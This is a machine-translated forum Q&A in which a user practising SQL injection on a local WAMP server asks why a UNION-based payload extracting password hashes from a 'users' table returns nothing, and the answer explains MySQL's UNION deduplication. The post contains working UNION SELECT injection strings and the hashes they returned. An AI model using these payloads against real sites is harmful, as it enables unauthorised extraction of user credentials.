好的,所以我在localhost上测试了一些SQLi,我偶然发现了一个非常奇怪的错误"那是我以前从未见过的。
我试图从名为" game"的数据库中获取信息。用一个名为" users"的表(15栏)
这是表格的第一部分:
http://i.gyazo.com/7e6c81ef2b235a778dec1fd343e8c3bf.png
哈希是"测试"和" test1"。
所以我会用
获得第一个哈希值'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 0,1--+-
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
让我们继续,我们用
移动到另一行'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 1,1--+-
它得到b444ac06613fc8d63795be9ad0beaf55011936ac
所以一切都正常工作,但是如果我改变用户哈希值,那么它们就像
一样http://i.gyazo.com/df1154a02cae5e5bbde04d7e47256899.png
然后我们的第二次注射不再起作用了'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 1,1--+-
它没有返回如何以及为什么这是可能的,最重要的是我将如何解决这个问题?我只希望它一次获得1个结果,而不是更多。
我正在使用Wamp在Windows 7计算机上进行测试。
正在执行的查询是
SELECT *
FROM users
WHERE id='-1'
UNION
SELECT concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15
from game.users
limit 1,1
答案 0 :(得分:1)
来自MySQL手册:
UNION的默认行为是从结果中删除重复的行。
http://dev.mysql.com/doc/refman/5.6/en/union.html
如果您更改了这两行的密码字段,那么您将在UNION
的第二部分中删除两个相同的行。
然而你所做的事情基本没有意义。你为什么使用CONCAT
,但后来没有连接任何东西?
另外,如果你只想要一行,为什么要使用1的偏移?我认为你的偏移应该是0(即LIMIT 0, 1
)。
最后,你为什么要开始这个联盟?
可能发生的是没有记录符合用户id = -1的条件然后由于重复数据删除,在预限制结果集中只返回了一行,您通过指定跳过该行偏移量为1.因此,您得到一个空的结果集。
在密码字段不同之前,您在预限制结果集中有两个不同的行,因此在偏移量1处有一行。